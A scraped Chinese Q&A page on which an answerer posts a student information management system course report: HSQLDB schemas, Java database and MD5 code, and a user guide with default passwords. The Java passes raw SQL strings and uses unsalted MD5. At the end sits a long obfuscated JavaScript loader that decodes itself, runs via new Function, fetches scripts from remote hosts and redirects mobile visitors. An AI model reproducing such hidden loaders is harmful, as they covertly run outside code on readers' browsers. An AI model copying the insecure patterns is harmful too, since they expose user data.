跪求一个学生信息管理系统 !!!!!有追加!!!!

2024-12-24 03:31:53
推荐回答(3个)
回答1:

貌似我的毕业设计好像是学生信息管理系统,vb的,两年前的了~~~~

回答2:

你们学校的呗~最简单的

回答3:

学生信息管理系统
一 需求分析
1、编写目的
为了明确软件需求、安排项目规划与进度、组织软件开发与测试,撰写本文档。本文档供项目经理、设计人员、开发人员参考。
2、项目背景
使用计算机对学生信息进行管理,拥有手工管理所无法比拟的优点。例如:检索迅速、查找方便、可靠性高、存储量大、成本低等。这些优点能够极大地提高学生信息的效率,也是管理科学化、正规化的重要支撑。
学生信息管理系统能够方便地查询和变更学生的基本数据(包括学籍数据和成绩数据),节省大量工作时间,有效地提高学生信息管理的效率。而查询信息的直观显示将有助于系统的用户一目了然地掌握学生的情况。
3、开发计划
a. 分阶段完成任务:
第一阶段实现快速界面原型,并进行相应的补充修改以满足客户的需求;
第二阶段完成界面的进一步设计求精,形成最终的设计样式;
第三阶段:完成数据库的开发;
第四阶段:整合管理系统并进行各项测试改正出现的各种问题。

4、运行环境
开发语言:java
数据库:Hslqdb
5、条件与限制
严格进行权限管理,分为学生,教师和管理员三种用户权限。登录需要对应的用户名和密码,并且密码进行了MD5加密,这样才能保证系统的安全性和可靠性。学生权限可以查看个人的信息,可以选课,查看成绩;教师可以查看个人信息,查看任课课程,成绩录入以及任课成绩的统计等;管理员可以进行人员信息的查看,增删以及修改,可以对学生的学籍进行管理,如转专业等,可以进行相关的人员统计等。
6、功能需求

7、性能需求
主要性能要求
 直观形象的操作界面
 输入数据 设定及限制(格式、字符串、数值、日期、唯一数据)
 因权限控制或条件不满足时,相关命令按钮自动禁用
 添加新记录可以不离开编辑界面连续进行
 数据内容变化后要及时准确地反映在显示界面上
 提示信息
 菜单项启动所有功能
 使用稳定,操作性能好,操作方法易于掌握,系统的安全性强。安全性要求比较高
二 概要设计
1、总体设计

1. 图书馆管理系统数据流图

2、系统的E-R图

三 详细设计
1、数据库设计(本系统使用数据库引擎为HSQLDB)
A、学院数据表(college)结构:

名称 字段名称 类型 主键 外键 非空
学院名称 collegename varchar Y Y
学院编号 collegeid integer Y

B、专业数据表(major)结构:

名称 字段名称 类型 主键 外键 非空
专业名称 majorname varcher Y Y
专业编号 majorid integer Y
学院名称 collegename varchar Y Y

C、 年级,班级数据表(grades)结构

名称 字段名称 类型 主键 外键 非空
年级 grade integer Y Y
学院名称 collegename varchar Y Y Y
专业名称 majorname varchar Y Y Y
班级名称 classname varchar Y Y

D、教师教研室数据表(depart)结构
名称 字段名称 类型 主键 外键 非空
教研室名称 department varchar Y Y
教研室编号 departid integer Y
学院名称 collegename varchar Y

E、学生数据表(students)结构
名称 字段名称 类型 主键 外键 非空
学号 studentid varchar Y Y
姓名 studentname varchar Y
性别 sex varchar
民族 nation varchar
生日 birthday varchar
学院名称 collegename varchar Y
专业名称 majorname varchar Y
年级 grade integer
班级名称 classname varchar
密码 password varchar Y
省份 province varchar
城市 city varchar
地址 address varchar
备注 demo varchar

F、教师数据表(teachers)结构

名称 字段名称 类型 主键 外键 非空
工号 teacherid varchar Y Y
姓名 teachername varchar Y
性别 sex varchar
民族 nation varchar
生日 birthday varchar
学院名称 collegename varchar Y
教研室名称 department varchar Y
职称 status varchar
省份 province varchar
城市 city varchar
地址 address varchar
密码 password varchar Y
备注 demo varchar

G、管理员数据表(admins)结构

名称 字段名称 类型 主键 外键 非空
管理员编号 adminid varchar Y Y
管理员姓名 adminname varchar Y
密码 password varchar Y

H、课程数据表(course)结构:
名称 字段名称 类型 主键 外键 非空
课程名称 coursename varchar Y Y
课程编号 courseid integer Y
课程学分 score integer Y
学院名称 collegename varchar Y

I、选课数据表(selectcourse)结构:
名称 字段名称 类型 主键 外键 非空
课程名称 coursename varchar Y Y Y
学号 studentid varchar Y Y Y
工号 teacherid varchar Y
成绩 score integer

J、教师任课数据表(teachcourse)结构:
名称 字段名称 类型 主键 外键 非空
课程名称 coursename varchar Y Y Y
工号 teacherid varchar Y Y Y
K、成绩数据表(coursescore)结构:
名称 字段名称 类型 主键 外键 非空
学号 studentid varchar Y Y Y
课程名称 coursename varchar Y Y Y
工号 teacherid varchar Y
分数 score integer
重修 courseagain varchar

2、程序界面(GUI)的设计(部分截图)
①登陆界面:

②进入主界面:

③选课界面:

④查看成绩界面:

⑤成绩统计界面:

⑥修改个人信息界面:

⑦学籍异动和机构管理界面:

⑧人员统计界面:

3、代码程序设计(主要代码)
A、数据库连接代码:
import java.sql.*;
public class hsqldbcon {
private Statement stmt;
private Connection theConnection;
private String theDataSource;
private String thePassword;
private ResultSet rs;
private String theUser;
hsqldbcon(){
theDataSource="jdbc:hsqldb:file:D:\\mystudent\\school";
theUser="sa";//数据库的用户名
thePassword=""; //数据库的密码
try{
Class.forName("org.hsqldb.jdbcDriver" );
}catch (ClassNotFoundException e){
System.out.println("ERROR: failed to load HSQLDB JDBC driver.");
}
try{
//建立数据库的连接。
theConnection=DriverManager.getConnection(theDataSource, theUser, thePassword);
stmt=theConnection.createStatement();
}catch (SQLException e){
System.out.println("Error:"+e.getMessage ());
}
}
public Statement GetStatement(){
return stmt;
}
public Connection GetConnection(){
return theConnection;
}
public ResultSet myexcutequery(String sql){
try{
rs=stmt.executeQuery(sql);
}catch (SQLException e){
System.out.println("Error:"+e.getMessage ());
}
return rs;
}
public int myexcuteupdate(String sql){
try{
int count= stmt.executeUpdate(sql);
return count;
}catch (SQLException e){
System.out.println("Error:"+e.getMessage ());
}
return 0;
}
}
B、密码加密代码:
import java.security.MessageDigest;
public class MyMD5 {
//十六进制下数字到字符的映射数组
private final static String[] hexDigits ={"0", "1", "2", "3", "4",
"5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f"};

/** *//** 把inputString加密 */
public static String createPassword(String inputString){
return encodeByMD5(inputString);
}

/** *//**
* 验证输入的密码是否正确
* @param password 真正的密码(加密后的真密码)
* @param inputString 输入的字符串
* @return 验证结果,boolean类型
*/
public static boolean authenticatePassword(String password, String inputString){
if(password.equals(encodeByMD5(inputString))) {
return true;
} else {
return false;
}
}

/** *//** 对字符串进行MD5加密 */
private static String encodeByMD5(String originString) {
if (originString != null) {
try{
//创建具有指定算法名称的信息摘要
MessageDigest md = MessageDigest.getInstance("MD5");
//使用指定的字节数组对摘要进行最后更新,然后完成摘要计算
byte[] results = md.digest(originString.getBytes());
//将得到的字节数组变成字符串返回
String resultString = byteArrayToHexString(results);
return resultString.toUpperCase();
} catch(Exception ex) {
ex.printStackTrace();
}
}
return null;
}

/** *//**
* 转换字节数组为十六进制字符串
* @param b 字节数组
* @return 十六进制字符串
*/
private static String byteArrayToHexString(byte[] b){
StringBuffer resultSb = new StringBuffer();
for (int i = 0; i < b.length; i++) {
resultSb.append(byteToHexString(b[i]));
}
return resultSb.toString();
}

/** *//** 将一个字节转化成十六进制形式的字符串 */
private static String byteToHexString(byte b) {
int n = b;
if (n < 0)
n = 256 + n;
int d1 = n / 16;
int d2 = n % 16;
return hexDigits[d1] + hexDigits[d2];
}

}
C、时间格式的认证,正则表达式:
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class DateRegex {
private String Date;

DateRegex(String text) {
Date=text;
}
public boolean MyDateRegex(){
String DatePattern = "^(?:([0-9]{4}-(?:(?:0?[1,3-9]|1[0-2])-(?:29|30)|"
+ "((?:0?[13578]|1[02])-31)))|"
+ "([0-9]{4}-(?:0?[1-9]|1[0-2])-(?:0?[1-9]|1\\d|2[0-8]))|"
+ "(((?:(\\d\\d(?:0[48]|[2468][048]|[13579][26]))|"
+ "(?:0[48]00|[2468][048]00|[13579][26]00))-0?2-29)))$";
Pattern p = Pattern.compile(DatePattern);
Matcher m = p.matcher(Date);
boolean b = m.matches();
return b;
}
}
四 调试分析
1、调试过程以及心得
这次信息系统课程设计使用的语言是java,前台工具是NetBeans,数据库是Hslqdb。虽然以前未曾学过,但是由于有了《数据库系统概论》的课程设计的经验,已经有Visual C++,C++ Builder的IDE的使用经验,所以本次课程设计进行得还算十分顺利。当然啦,由于能力有限,已经相关的经验欠缺,这个系统无论是从需求分析上,还是从数据库设计上,乃至GUI设计,代码编写都存在着许多不足。这是我们要继续努力的地方。
五 用户使用说明
1、登录
程序一开始运行现进入登录界面(界面详细见GUI设计)。用户根据自己的身份来进行登录验证。登陆数据:学生 :学号05011001 密码123456 ;老师:110001 密码:123456;管理员:1000 密码123456.
2、主功能界面
根据进入系统的相应角色的权限,系统会屏蔽相应的功能。
一、学生角色
A.【信息管理】|【查看个人信息】可以查看到自己在系统上的信息
B、【信息管理】|【修改密码】可以修改自己的系统的登陆密码
C、【课程管理】|【学生选课】可以进行与自己相关的课程的选择以及退选等功能
D、【课程管理】|【查看已选课程】可以查看自己已经选择的课程
E、【成绩管理】|【查看成绩】可以查看自己所修课程的所有成绩
F、【成绩管理】|【学业警告】可以查看自己所有未通过的课程
二、教师角色
A.【信息管理】|【查看个人信息】可以查看到自己在系统上的信息
B、【信息管理】|【修改密码】可以修改自己的系统的登陆密码
C、【课程管理】|【查看所教课程】可以查看自己的任课课程以及选课的学生
D、【成绩管理】|【成绩录入】可以给学生进行打分
E、【统计】|【成绩统计】可以统计自己所教课程的及格率等信息
三、管理员角色
A、【信息管理】|【修改密码】可以修改自己系统的登陆密码
B、【信息管理】|【修改个人信息】可以修改系统中学生,老师的相关信息
C、【信息管理】|【删除个人信息】可以删除系统中学生,老师的相关信息
D、【信息管理】|【增加个人信息】可以增加系统中学生,老师的相关信息
F、【课程管理】|【教师任课安排】可以对教师进行任课安排
G、【课程管理】|【查看和删除教师任课安排】可以查看已经安排的课程情况,也可以删除相应的任课安排,方便重新安排
H、【课程管理】|【添加课程】可以添加课程
I、【课程管理】|【课程编辑与修改】可以编辑和修改相应的课程,也可以删除某一门课程。
J、【成绩管理】|【修改成绩】可以对教师录入成绩错误进行补救,更改成绩。
K、【统计】|【教师统计】可以统计学校的教师情况,如教授人数等
L、【统计】|【学生统计】可以统计学校的学生人数,男女生人数等
M、【学籍管理】|【学籍调整】可以对学生的学籍异动进行管理,如转专业,跳级,留级等。并且可以对机构进行管理,如增加学院,增加专业等
六 测试结果
系统运行结果良好,具体界面详见GUI设计。由于系统的数据库设计进行了比较好的关系关联,如各个表的外键关联关系等。而且代码的编写过程中也进行了比较多的异常捕获和异常处理,所以系统运行比较良好。但是由于个人能力有限,以及经验的欠缺,错误在所难免。但是这个课程设计的主要目标就是要我们学习相关的信息系统的分析,设计与开发。我想,现在我已经达到了预期的学习目的。
七 附录
文件夹说明:
一、manage 程序文件夹,其中dist文件夹下的manage.jar,可以直接运行程序(安装有java虚拟机的电脑),src文件夹是源代码(*.java,可以使用NetBeans 6.1IDE查看)
二、mystudent是数据库文件夹。里面的table.txt是数据库的建库SQL脚本,insert.txt是数据库的一些初始化数据。
三、程序运行说明:
两个文件夹都放在D盘根目录下。HSqldb的登陆的URL是jdbc:hsqldb:file:d:\mystudent\school
评分
指导教师签名

这是我们上实验课上做的,你自己相应的应该改一下。
有什么问题的可以尽量的问我。
如果还有的别的问题,关于管理信息系统方面的问题,我会的一定回答你。
采纳我的建议啊!!!

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();